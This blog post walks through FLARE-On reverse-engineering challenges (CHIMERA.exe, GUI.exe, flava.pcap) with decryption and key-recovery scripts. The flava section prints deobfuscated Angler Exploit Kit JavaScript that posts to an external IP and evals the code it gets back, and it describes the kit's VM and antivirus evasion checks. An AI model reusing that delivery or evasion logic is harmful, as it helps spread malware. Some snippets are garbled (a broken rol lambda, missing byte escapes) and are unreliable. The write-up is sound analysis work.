First of all, ignore those instructions after “main comparison” in the bottom block. In order to speed up my debugging, I made a little patch to that the comparison would always be successful. But that byte comparison definitely exists, and it is the main comparison. That’s where our 100 byte long key (appended triple-SHA1s) is going to be checked.

Now let’s focus on the first block up top. That call to __go_receive is the one responsible for triggering that function handler I mentioned (some_channel_handler). This handler makes some math (which i’ll show you soon) upon our argv[1] triple-SHA1s appended buffer and returns a WORD, that’ll be used as an index to fetch a byte in a 0x1000 long hard-coded buffer present in hashes. sub_8049e2b is the function that performs this fetch.

This resulting byte (from the global hard-coded buffer) is the one that’s checked against our (sha1s buffer) byte right there in that ‘main comparison’. They should match. If they don’t match, we’re providing a wrong password in argv[1], get it?

So far, so good? It’s not too hard, but it’s definitely confusing. So, just recaping:

  • 100 bytes buffer built by slicing our argv[1] in 5 6 byte pieces, triple-hashed with SHA1, and appended together.
  • This 100 bytes buffer is fed to a channel. This channel has a handler, which will perform some math on these bytes, and return a WORD.
  • This WORD is used as an index to find a byte in a big buffer hard-coded in hashes.
  • The fetched byte is checked against the current byte in the iteration. This ‘current byte’ is a byte from our triple-SHA’s appended buffer, the one we fed to the channel.

Do you see what’s happening? It’s like the buffer we’re providing to the channel is getting self-checked.

Let’s see the math behind that handler.

screenshot_12

As you can see in the first block description, [ebp-0xC] holds the current sum, but in the first iteration, it’s the first byte of our argv[1] sha1 buffer. [ebp-0xC] gets summed with a fixed 0x1cd. This sum is divided by 0x1000, the rest of the division gets stored back in [ebp+0xC], and the process repeats.

That’s essentially [ebp+0xC] += 0x1cd followed by [ebp+0xC] = [ebp+0xC] % 0x1000. The resulting WORD, is sent to __go_receive, and is used as a index, as we’re going to see next, in a snippet of sub_8049e2b.

screenshot_15

In this snippet, EBX is already holding a pointer to the beggining of the global hard-coded buffer. [ebp-3Ch] has the WORD we just got from __go_receive. The pointer is summed with the index, and then MOVZX does the job of fetching the byte in that position.

OK. So we have basically solved everything. We know exactly what happens to our argv[1]. We know that argv[1] is probably the key to the challenge, because as we just saw, basically our argv[1] is getting checked against itself – the important point being that, in some_channel_handler, what’s really important is the first byte of our argv[1] sha1 buffer.

Let’s dump this hard-coded buffer (0x1000 bytes long @ 0x804bb80), and start writing some code.

# char is the first byte of our triple-sha1 appended
# buffer
def find_key(char):
    collection = open('0x1000.bin', 'rb').read()

    final_key = ''
    count = char

    # we need to build a key the same size of
    # our argv[1] buffer
    for i in range(100):
        count += 0x1cd
        count %= 0x1000

        new = hex(collection[count]).replace('0x', '')

        if len(new) == 1:
            new = '0' + new

        final_key += new

    return final_key

Simple, right?

Here’s the thing. We can find the right triple-sha1 key right away. Can you see how? If we provide a byte to find_key, and the first byte of the resulting key is the same as the one we fed, that’s probably the right key, right?

for v in range(0x100):
    key = find_key(v)

    if int(key[:2], 16) == v:
        print('this is the right key:')
        print(key)
        exit()

This is what we get:
screenshot_16

OK. We know the right key, but that’s obviously not the answer. The question is, what combination of 30 characters, within a provided charset (abcdefghijklmnopqrstuvwxyz@-._1234) results in that key?

We know that argv[1] is the key to the challenge, because the final blocks of the main routine only print success / failure, they’re not decrypting something and printing it (as we’ve seen in other challenges). So if argv[1] is the key, and every key is a e-mail address in FLARE-On, we know at least the end of the key, right? it’s “@flare-on.com”. Got to be!

We also know that the key is build by slicing argv[1] in 5 pieces of 6 bytes. “@flare-on.com” has 13 characters. Therefore, this is what we know about the key so far:

?????????????????@flare-on.com

But, we’d better validate this information. And we can, as we have the right key, and we know how to build the triple-sha1 appended buffer. More code:

right_key = '3cab2465e955b78e1dc84ab2aad1773641e' +
'f6c294a1bf8bd1e91f3593a6ccc9cc9b2d5682e62244f' +
'9e6061a36250e1c47e69f0312db4e561528a1fb506046' +
'b721e18e20b841f497e257753b2314b866ccc720842d0' +
'884da08e26d9fccb24bc9c27bd254e'

charset = list('abcdefghijklmnopqrstuvwxyz@-._1234')

slice_1 = right_key[0:40] # ??????
slice_2 = right_key[40:80] # ??????
slice_3 = right_key[80:120] # ?????@
slice_4 = right_key[120:160] # flare-
slice_5 = right_key[160:200] # on.com

attempt_1 = triple_sha1('flare-')
attempt_2 = triple_sha1('on.com')

print(slice_4)
print(attempt_1)
print('the same? ' + str(slice_4 == attempt_1))

print()

print(slice_5)
print(attempt_2)
print('the same? ' + str(slice_5 == attempt_2))
exit()

And this is what we get:
screenshot_17

Alright, we’re definitely on the right track. But how do we find the rest? My idea was to attempt all possible combinations of that limited charset. It’s not fast, but I had to try. Started out by trying to find slice_3, which already had a known char, ‘@’.

import itertools
charset = list('abcdefghijklmnopqrstuvwxyz@-._1234')

for guess in itertools.product(charset, repeat=5):
    guess = ''.join(guess) + '@'
    digest = triple_sha1(guess)

    if digest == slice_3:
        print(guess)
        exit()

After about 3 minutes, this is what I got:

screenshot_18

Alright! So far this is what our key looks like:

????????????4sh3s@flare-on.com

That looks like the end of the word hashes in l33t. So we now know 1 char from slice_2, which is ‘h’. Let’s continue.

import itertools
slice_1 = right_key[0:40]    # ??????
slice_2 = right_key[40:80]   # ?????h
slice_3 = right_key[80:120]  # 4sh3s@
slice_4 = right_key[120:160] # flare-
slice_5 = right_key[160:200] # on.com
                             #
charset = list('abcdefghijklmnopqrstuvwxyz@-._1234')

for guess in itertools.product(charset, repeat=5):
    guess = ''.join(guess) + 'h'
    digest = triple_sha1(guess)

    if digest == slice_2:
        print(guess)
        exit()

And there we go:
screenshot_19

Now, it’s just a matter of guessing the last character of the first slice. We could try every single possibility using all 6 characters, but trust me, you don’t want that (6! is too long).

??????_th3_h4sh3s@flare-on.com

After unsuccessfully trying a couple, I thought: “Maybe its a verb in the past tense? So probably a ‘d’?”.

screenshot_20

OK! We have all slices!!

screenshot_21

Great!


Challenge 8 – CHIMERA.exe – Back to list

Even the uppercase letters here were a hint. We’ll see.

screenshot_3

“Geezers”, another hint. Let’s open it up in IDA.

screenshot_5

The three last boxes are what you would expect. Left one is a success output, and right one failure output. The important thing here is the loop.

screenshot_7

Pretty straight forward XOR key here, right? The only thing is that addition, which to reverse we just need to subtract. The decrypt code would be something like this:

key = b'x0Ex13x11x0Cx5Ex14x03x5Dx06'   +
b'x0Bx15x51xF9x05x07x07x0Dx4BxF8x0E' +
b'xFDxF2xF7xFCxF0x07x38xE1x4Ax1Bx0C' +
b'x1A'

pwd = ''

for i in range(0x1a):
    pwd += chr((key[i] ^ 0x7a) - i)

print(pwd)

That easy?
screenshot_8

Wrong.

The hardest part of this challenge wasn’t really understanding the code behind it, but actually what the hell was going on with the executable itself.

As you may be aware, in Win32, every PE has a DOS stub. This little DOS program, normally just prints “This program cannot be run in DOS mode.”. But in this challenge, this is stub is definitely not the ordinary one. I got myself a copy of DOSBOX, and ran CHIMERA.

screenshot_11

Do you see the double negative? CHIMERA definitely runs in DOS, we just to need to know what’s going on inside it.

Let’s open it up in IDA using the DOS loader.

screenshot_12

After printing the not-so-ordinary DOS stub message, we can see a JMP.

screenshot_4

It looks like a decode routine. As I was avoiding actually debugging 16-bit code, I did a little python script which did the same thing.

# CHIMERA_DOS -> dumped stub from IDA
chimera = open('CHIMERA_DOS.exe', 'rb').read()
content = list(chimera)

for cx in reversed(range(0x71)):
    bx = cx - 1
    bx = bx + bx

    offset = 0x7d4 + bx

    uint16 = int.from_bytes(
        content[offset : offset + 2], 'little')
    uint16 += cx

    uint16 = uint16.to_bytes(3, 'little')

    content[offset] = uint16[0]
    content[offset + 1] = uint16[1]

content = bytes(content)
open('CHIMERA_DOS_DECODED_2.exe', 'wb').write(content)

Now let’s open the decoded version in IDA.

screenshot_2

Good!

[There’s a lot of anti-disassembly tricks here, but you won’t see it, because i’ve already dealt with them while doing the challenge. Keep that in mind, though.]

After the decoding routine is done, we can see that CHIMERA gets the current date. The resulting year (in CX) is subtracted to 0x7c6 (1990), and then there’s a JG 0x109b0. If CX is > 1990, JG will make the JMP. So CHIMERA is checking if the current that is previous than 1990.

Let’s pretend we’re in the 80’s, and continue.

screenshot_14

We can see another PRINT STRING interrupt, and right after it, a BUFFERED INPUT interrupt. Its not easily visible, but we can see that previous to the jump, AH receives 0xa, and then INT 0x21.

If we take a look at BUFFERED INPUT interrupt documentation, we’ll see that DX indicates the address of where that buffer will be written.

screenshot_15

From top to bottom, 0x75f will hold the length of the input buffer, as described in the documentation (DX + 0x1). CL is 0, because previously we saw a XOR CX, CX.

If CL == length of input buffer, the jump to 0x1094e will be taken. Since that’s not the case right now, the other one (to 0x1090f) executes. We can see that the input length gets decremented, and then subtracted to CL (which is still 0). The JZ right after TEST CL, CL will execute.

screenshot_16

Initially, DL == 0x97, as we’ve seen in the previous graph. ROL DL, 3. The resulting byte is then used to fetch a byte in a buffer, which then is used to fetch another byte in the same buffer, and the resulting byte gets XORed against our input. When the loop goes to the next character, DL becomes the previous byte (the xor result).

OK, it’s hard to explain this with words. We can easily reproduce this code, but we need that hardcoded buffer in 0x461.

import sys

# @ http://www.falatic.com/index.php/108
rol = lambda val, r_bits, max_bits = 8:
 (val  (max_bits-(r_bits%max_bits)))

buffer = open('0x461.bin', 'rb').read()
pwd = [ord(char) for char in sys.argv[1]]

for v in reversed(range(len(pwd))):
    cur_byte = 0

    if v == len(pwd) - 1:
        cur_byte = rol(0x97, 3)
    else:
        cur_byte = rol(pwd[v + 1], 3)

    pwd[v] ^= buffer[buffer[cur_byte]]

After that, the input buffer (pwd) goes through another encoding routine.

screenshot_17

This loop XORs the current byte of the input buffer with the previous one. The first character (position 0 of the input buffer) gets xored with 0xc5.

We can reproduce this code like this:

for v in range(len(pwd)):
    if v == 0:
        pwd[v] ^= 0xc5
    else:
        pwd[v] ^= pwd[v - 1]

After that, we can see the final comparison (our key VS correct key).

screenshot_18

bx is the current index here. Until 0x1a (26) (the same password length we saw in the Win32 part of CHIMERA) it walks through each character of our input buffer, and xors against another hardcoded buffer (0x7ac). Each xor result gets summed in ax. After the loop ends, ax is checked. If it’s 0, the success output is printed, else the failure one.

This confirms that the key should have 0x1a bytes. Also, 0x7ac is the encoded key. If we rever the process (0xce XOR, and ROL lookup) using the 0x1a buffer at 0x7ac, we should discover the correct key. Shall we?

buffer = open('0x461.bin', 'rb').read()
key = list(open('0x7ac.bin', 'rb').read())

# @ http://www.falatic.com/index.php/108
rol = lambda val, r_bits, max_bits = 8:
    (val  (max_bits-(r_bits%max_bits)))

for v in reversed(range(len(key))):
    if v == 0:
       key[v] ^= 0xc5
    else:
       key[v] ^= key[v - 1]

for v in range(len(key)):
    cur_byte = 0

    if v == len(key) - 1:
        cur_byte = rol(0x97, 3)
    else:
        cur_byte = rol(key[v + 1], 3)

    key[v] ^= buffer[buffer[cur_byte]]

key = [chr(v) for v in key]
key = ''.join(key)

print(key)

And there we go!

screenshot_19


Challenge 9 – GUI.exe- Back to list

GUI.exe is a .NET Windows Forms application, obfuscated with ConfuserEx.

screenshot_20

This is what happens when you run it.

screenshot_1

A matroska doll. “Combine all 6 shares”. The “start” button displays a message box, which says: “Try Again”.

If you’re familiar with .NET reversing, you’re probably aware that it’s relatively easy to retrieve the source code. Actually, any language that involves bytecode is very susceptible to decompilation. But this guy is obfuscated with ConfuserEx, which is a pretty good obfuscator.

If you open GUI.exe in ILSpy (or the .NET decompiler of your choice) and go to that button’s click handler, this is what you’ll see:

ssssssssssssss

It’s easy to understand the steps here, but the strings are all messed up. To get an even cleaner view of this code, we should try to get rid of ConfuserEx. There’s de4dot, but the one which really solved my problems was NoFuserEx.

screenshot_3

OK, so basically what’s happening here is that GUI is loading a resource called layer1, decrypting it, decompressing it, loading it as an assembly, and calling a function named “Start” within it, passing that weird “no/-|-…” string as a parameter to it.

This is what the decryptBuffer routine looks like:

screenshot_4

And the key is:

screenshot_5

Easy, right?

OK, so all we have to do is replay these steps, and for that we have to get that “layer1” resource. We can do that by browsing the “Resources” section of the PE parsing ILSpy did.


static void Main(string[] args)
{
    byte[] layer = File.ReadAllBytes("layer1");
    byte[] decrypted = decrypt(layer, "flareOnStartKey");
    byte[] decompressed = decompress(decrypted);
    File.WriteAllBytes("layer1_clean", decompressed);
}

static byte[] decrypt(byte[] buf, string key)
{
    byte[] bytes = Encoding.UTF8.GetBytes(key);
    byte[] array = new byte[buf.Length];
    for (int I = 0; I < buf.Length; i++)
    {
        array[i] =
            (byte)(buf[i] ^ bytes[i % bytes.Length]);
    }
    return array;
}

public static byte[] decompress(byte[] buffer)
{
    int num = BitConverter.ToInt32(buffer, 0);
    byte[] array = new byte[num];
    MemoryStream stream = new MemoryStream(buffer, 8,
        buffer.Length - 8);
    DeflateStream deflateStream =
        new DeflateStream(stream, CompressionMode.Decompress);
    deflateStream.Read(array, 0, num);
    deflateStream.Flush();
    deflateStream.Close();
    return array;
}

After doing so, you'll see that layer1_clean is also obfuscated with ConfuserEx. So after removing it, and loading it in ILSpy, this is what you’d see in layer1‘s Start routine.

screenshot_6

So there are a couple of checks there (CPU count and debugger), and later, almost the same steps as before: load a resource, decrypt it, decompress it, and then call the Start method of it – only now its layer2, the key is unknown, and the decryption method is AES, not a XOR key.

First: what is the key? Let’s take a look at the getKey() method.

screenshot_7

OK. GUI is enumerating the directories within its current working directory, hashing the directory name with MD5, encoding it in Base64, and comparing it with a hardcoded string named a1224. StringUtils is a class which contains 2000 base64 strings. a1224 == ” UtYSc3XYLz4wCCfrR5ssZQ==”.

If this mysterious directory is not found, than “flare-layer1-key” is returned – but that’s not the correct password to decrypt layer2.

So how do we know what string hashed with MD5 and encoded with b64 equals to “UtYSc3XYLz4wCCfrR5ssZQ==”? Honestly, i didn’t know. I tried to find some clue about it, but I had nothing. What I ended up doing was translating that base64 into a md5 hexstring, and searching it on a md5 table. To my surprise, it worked.

import base64
import sys

bytes = base64.b64decode(sys.argv[1])
hash = ''

for byte in [hex(b) for b in bytes]:
    byte = byte[2:]

    if len(byte) == 1:
        byte = '0' + byte

    hash += byte

print(hash)

screenshot_8

screenshot_9
@ https://crackstation.net/

Alriiight, win! The key is “sharing”. I won’t continue pasting the C# code here because you’ve got the idea. ILSpy produces a great representation of the original code – you basically just have to copy it to your VS.

Here’s what the Start routine of layer2 looks like.

screenshot_10

The idea is the same here to decrypt layer3 – the problem is that layer2 has some more features of ConfuserEx. The code flow now is all messed up. It’s not that hard to rebuild the code flow, but it’s easy to see what’s going on even not doing it.

The getKey() looks pretty much the same as layer1’s, but now it’s checking some registry keys, hashing them, and comparing to a650, which is “Xr4ilOzQ4PCOq3aQ0qbuaQ==”.

screenshot_12

screenshot_11

So let’s try to do the same thing as before, and see if it works.

screenshot_13

screenshot_14

Alright, the second key is “secret“. The Start routine of layer2 is exactly as layer1‘s.

Layer3 is also obfuscated with ConfuserEx, but now there are even more protections involved. Loading it into NoFuserEx caused it to crash. de4dot also didn’t know what to do. Then, UnConfuserEx – sort of an underground tool by one of the members of SnD – and that one did the trick.

It also had some heavy code flow obfuscation, but the idea was the same as the other layers – enumerate some information in the OS, hash it, b64 encode it, and compare to a static string. Only now, GUI wasn’t decrypting a new assembly layer, and calling a method – it was decrypting a resource named share6, saving it to disk as “share-6-decoded.png”, running it as explorer.exe would, and dropping another resource named “combine” to “ssss-combine.exe”.

screenshot_15

screenshot_16

screenshot_18

screenshot_19

screenshot_21

“shamir” was the last hash. So, after manually decrypting share6, we can see this image:

share6-decoded

“ssss-combine.exe” is the combine tool of Shamir Secret Sharing Scheme. To solve this challenge, we have to do as the matroska doll said: “Combine all 6 shares”. During the reverse engineering of GUI.exe, we can see this “Shares” all over the place, such as variable names, function parameters, class names, etc. ILSpy has a global search which helped a lot finding all of them.

Share-1 is at an internal class of GUI.exe.

screenshot_22

Share-2 is a parameter to layer1’s Start() method.

screenshot_23

Share-3 is the return value of layer2‘s getKey() method.

screenshot_24

Share-4 is one of the 2000 strings of StringUtils in layer2.

screenshot_25

Share-5 is one of the 2000 strings of StringUtils in layer3.

screenshot_26

Share-6 is in share6-decoded.png, as we just saw. Now, we just have to run ssss-combine.exe passing threshold 6 as the parameter (6 shares), and provide all the shares.

screenshot_27

Done!


Challenge 10 – flava.pcap – Back to list

This pcap had ~20MB, with more than 25k packets. As you may have guessed, the first challenge here is figure out what you’re looking for. Being part of a CSIRT helped me a lot here. I ran NetworkMiner to extract all files from this PCAP, and see if could make sense of something there.

One of the largest *.html files was clearly the landing page of Angler EK.

screenshot_28

It’s truly hipnotic.

Following back the request to this *.html, the infected page was /flareon_found_in_milpitas.html.

screenshot_1

Angler EK is known for exploiting IE and Flash vulnerabilities, and that’s precisely (a *.swf file with another extension) what comes after a couple of requests.

screenshot_2

That’s a ~6mb flash application. If you run it, this is what you get.

screenshot_3

At first, I thought that reverse engineering this flash file would help me find the key. But after further exploring it, it became very clear that the key was somewhere else.

screenshot_4

screenshot_5

pr0udB3lly is RC4. That MD5 is not easily guessable as the ones in GUI.exe.

So I figured that the key was probably somewhere inside the chaotic layers of obfuscated JS in Angler’s landing page. Brace yourselves.

screenshot_6

First thing I did was beautify this madness. Normally in heavily obfuscated JS you know that, eventually, eval() will be called. But that’s not how this Angler landing page is evaluating it’s decrypted JS, this is how:

screenshot_7

It’s interpreting the decrypted JS as a function, and calling it. We could probably hook Function() somehow, and that’s what I tried first – but it always ended up in the catch, because the JS wasn’t properly being decrypted. Angler has dozens of environment checks (as we’ll see): check if your computer is exploitable, check if you’re not protected by some ninja AV, check if you’re not reverse engineering it, etc – and if don’t pass them all, the final code won’t run.

To find the place where the decryption was taking place, I started to work my way back from that new Function().

One of the first environment checks was this one:

screenshot_8

That translates to something like this:

try {
    if (window.ScriptEngineBuildVersion === 545)
        res = 0;
    else
        res = 2;
} catch(e) {
    res = 4;
}

utaNfs is then used within the decryption routine (along with another env check) as you can see down below.
screenshot_9

DM7w7I is utaNfs. Since DM7w7I is 0, that if will be satisfied, because !0 == true. The nested if checks for an specific outerWidth (among other checks), and if satisfied, sets DM7w7I to 1.

The following else statement, compares the current Date() with a global Date() it generated when the script started. This would never be satisfied if you’re stepping through this code in debugger (unless you force it), but if everything is cool, DM7w7I should remain 0.

So, since this is plain javascript after all, you could try the decryption with DM7w7I set to any value you want. But 0 is the expected one, and it’s used to successfully decrypt the second Angler layer.

This second layer also has a gigantic base64 string, so we should expect another decryption routine here (which only executes if the environment checks are OK), and some form of evaluation of the decrypted code. And here it is.

screenshot_10

Function l() calls function j(), which has some heavy checks. After that it uses a global variable (which is set based on what happens on j()) to decrypt the base64, and return it.

It starts out by checking the browser.

screenshot_13__

Followed by an attempt to detect a Kaspersky BHO called Kaspersky.IeVirtualKeyboardPlugin by instanciating it throught new ActiveXObject().

screenshot_15__

If everything goes well, function j() sets a global variable, which is a b64 dictionary. If the environment checks detect anything, the b64 dictionary is set to reversed one, else, to the ordinary b64 dict (kinda like what happens in challenge 1).

screenshot_28_

Pretty cool, right? So, using the correct b64 dictionary, the third layer gets decrypted. So far so good! In this last layer, we’ll see the payload delivery. But not before some even more aggressive checks.

screenshot_28_2

We can see some references to VMware’s and VirtualBox’s drivers. These are referenced as resources in Microsoft.XMLDOM ActiveXObject, and if successfully imported, Angler understands that you’re analyzing its code in a virtual machine. Pretty neat.

You could easily patch this checks by returning 0 before the string references. That’s what I did.

Here’s the most important of layer 3.

screenshot_22

Pretty hard to see with all that obfuscation, but it translates to something like this.

var d = {"g":"unknown_32_bit_hash",
         "A":"unknown_32_bit_hash",
         "p":"unknown_32_bit_hash"};

d = encryptRC4('flareon_is_so_cute', JSON.stringify(d));

var e = new XMLHttpRequest;
e.open('POST', 'http://10.14.56.20:18089/i_knew_you_were_trouble', true);
e.setRequestHeader('Content-Type', 'application/json; charset=utf-8');
e.setRequestHeader('Content-Length', d.length);

e.onreadystatechange(function() {
    if (e.readyState == 'complete' && e.status == 200) {
        var d = JSON.parse(
            decryptRC4('how_can_you_not_like_flareon',
            b64_decode(unescape(e.responseText))
        );
        var f = new BigInteger(d.B, 16);
        var h = f.mod('unknown_32_bit_hash', 'unknown_32_bit_hash');
        var j = decryptRC4(h.toString(16), d.fffff);

        // "u" is the VM check
        if (u < 1) {
            eval(j);
        }
    }
});

There's clearly some cryptographic magic going on. We can also see that the response gets decrypted, then parsed as JSON, and one of the resulting object's property gets decrypted again, which is finally evaluated as JS.

The cryptographic magic going on is the Diffie-Hellman key exchange protocol. What I know about it I learned from these articles: Internet Explorer Double-Free in Angler EK, and Attacking Diffie-Hellman Protocol in the Angler Exploit Kit.

The latter has some Java code for breaking the shared secret. I repeated the steps described in the article, and after successfully retrieving the shared secret (after ~6h of processing), I could decrypt this fourth javascript layer being evaluated.

screenshot_23

screenshot_24

Great success! HEAPISMYHOME is the key to that Flash application we’ve already seen.

To continue the challenge, I downloaded FlashDevelop, copied out the ActionScript code i showed back in the beggining, with some minor tweaks.

public function decrypt():void
{
    var bin:ByteArray = new ByteArray();
    readFileIntoByteArray("Run.bin", bin);

    var decrypted:ByteArray = pr0udB3lly(bin, "HEAPISMYHOME");

    writeByteArrayToFile("Run_decrypted.bin", decrypted);
}

“Run.bin” is the ByteArray associated with the class Run_challenge1.
screenshot_25

The decryption process was successful, but now we had another *.swf file in hands (a very obfuscated one).

screenshot_26

screenshot_27

One thing i’ve noticed while browsing the classes on this flash application was this:

screenshot_29

Among dozens of obsfuscated class names, one was somewhat clear. “Intel inside _ test imgur vnUziJP”, cleaning it a little bit. Imgur is a very famous image hosting website, so I went up and hit http://imgur.com/vnUziJP, and to my surprise…

screenshot_30

Erm… and? Well, I didn’t know what to do with it. I had to keep digging that flash app.

Luckly, JPEXS has a pretty neat feature which tries to fix most of the obfuscation SecureSWF does. It’s not perfect, but helps a lot, especially because it renames does nasty “$–_$…” names to something more readable, such as “class_1”, or “_loc1_”, etc.

So, after all the replacements, it was easy to understand this flash’s main routine. Let’s see the most important parts of it.

screenshot_31

First, do you see that “flare” property of “this.root.loaderInfo.parameters” being referenced? This parameters are the so called “FlashVars”, parameters you can pass while creating a tag in html.

But in layer 4 of that Angler EK, when the is created, there are no FlashVars.

screenshot_32

Also, in the first layer of flash, when the decryption using “HEAPISMYHOME” takes place, there’s no interaction or parameters being passed to the new *.swf, there’s just a call to LoadBytes.

So, where are these parameters coming from? Well, let’s ignore this for now, and continue inspecting the main routine of Flash Pt.2.

Other important part of this snippet, is this:

this.var39 = _loc1_.x;
this.var5 = _loc1.y;

Again, two parameters we don’t know of. WTH? After that, we see another MD5 (just like we saw on Flash Pt.1), and ~50 binaries being pushed into an array.

After that, we see this.

screenshot_33

Which is just rubbish, right? I mean, you guys obviously can’t tell what param is what, so here’s a cleaned up version of this:


_loc56_ = ByteArray(new _loc4_.var_34()); // 77kb file
_loc57_ = ByteArray(new _loc4_.var_25()); // intel_inside

counter = 0;
while(counter < this.byte_sequence.length)
{
    this.byte_sequence[counter] =
        rc4_decrypt(this.byte_sequence[counter],
                    this.param_x_key);
    counter++;
}

_loc59_ = new Array(2048);
counter = 0;
while(counter < _loc59_.length)
{
    _loc59_[counter] = this.method_13();
    counter++;
}

this.frighteningIntoxicant();

// MD5
if(class_2.method_8(this.var_4) ==
   "600aa47f484cbd43ecd37de5cf111b10")
{
    _loc59_[this.extensiveVixen(0,_loc59_.length - 1)] =
        this.var_4;
    this.mohawkDisturbanceMartini(_loc59_);

    counter = 0;
    while(counter < _loc59_.length)
    {
        _loc2_.loadBytes(_loc59_[counter],_loc3_);
        counter++;
    }
}

OK, let me sum this up. Flash Pt 2 is building up an array with ~50 binaries embedded within itself. The only two binaries which don't join the party is the IntelInside one, and a 77kb one, which we nothing about yet. After building this array, it decrypts each one using RC4 (just like pr0udb3lly), and the key is the parameter X.

Then, for every bin in the array, method_13() is called. Here’s what it looks like.

screenshot_35

It basically creates a random valid flash file (look up FWS header in google), with somewhere between 50kb to 500kb of null bytes, and returns it. Then, there’s a call to this.frighteningIntoxicant(), which looks like this:

screenshot_36

It uses the Y parameter as coordinates to re-arrange the decrypted byte_sequence into the global ByteArray var_4. After this call, var_4 is hashed, and compared to “600aa47f484cbd43ecd37de5cf111b10”. If everything went OK, var_4 is placed in a random position within the null byte FWS binaries. Then a loop starts, and loads every single binary using LoadBytes.

Phew. What’s actually important here:

  • var_4 after decrypted and re-arranged, will be Flash Pt 3;
  • Param X and Y and brutally important. X is used to decrypted the embedded binaries, and Y to re-arrange it into a valid Flash application;
  • ?

Therefore, the next thing to do is discover X and Y. But how?

This is where that Intel Inside image comes in. Remember that among all binaries embedded in this flash application, only the Intel Inside one and another 77kb binary didn’t go into the byte_sequence? That’s because both are not part of the final valid flash file. They’re used to find X and Y.

I went to imgur, and downloaded the original image from it. Then I dumped Intel Inside‘s binary from the embedded flash. What do you see?

screenshot_37

Yeah, they have the same size. They’re the same file, except that one is encrypted. What about that other 77kb file? We don’t know. Since we have both an encrypted and a decrypted version of a file, can the key be restored? Then we could decrypt the 77kb one, and see what’s inside it.

Well, the answer wasn’t restoring the key exactly, but leveraging the way RC4 works, and use both encrypted / decrypted files as a way to decrypt the other 77kb one. Take a look at this question in crypto.stackexchange, “RC4, is it possible to retrieve the key if we know plaintext and ciphertext?”, and see what user poncho said.

[…] if you have two ciphertexts encrypted with the same RC4 key, and you know the plaintext for one of the ciphertexts, it’s easy to recover the other plaintext. All you need to do is compute the exclusive-or of the two ciphertexts, and the known plaintext — the result will be the unknown plaintext.

😀

Guess we have something here! Let’s code it up.

import sys

ctext_1 = open('ciphertext_intelinside.bin', 'rb').read()
ctext_2 = open('ciphertext_unknown.bin', 'rb').read()

ptext = open('plaintext_intelinside.bin', 'rb').read()

xor_sequence = ''

for i, value in enumerate(ctext_2):
    xor = value ^ ctext_1[i]
    xor = xor ^ ptext[i]

    xor_sequence += chr(xor)

open('known.bin', 'w').write(xor_sequence)

Guess what’s inside known.bin?

screenshot_38

Parameters X and Y! You know what to do next. Create a little flash app which performs the same steps as Flash Pt.2 using the valid X and Y, and dump var_4. That what I did. The result was yet another flash application.

Loading it up into JPEXS, this is what we get:

screenshot_39

OH GOD, is that the key? This flash app’s main routine is a 1500~ lines long repetition of what you see in that image. _loc_1 flips between 1 and 0, and then there are the writeByte calls accordinly. If you straight up decode every one of those bytes as an ASCII char, you’ll end up with rubbish. You have to get only the ones that are actually called, based on _loc_1.

So I just copied the code, and appended this lines:

var key:String = _loc2_.toString();
trace(key);

And…

screenshot_41
FLARE-On done! 😀



Well, after a few weeks of reverse engineering, it was finally over!

Later on, FireEye sent a prize to the winners. A “sheriff’s badge”! Pretty cool!

That’s all for now.

See you in the next post! 🙂

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s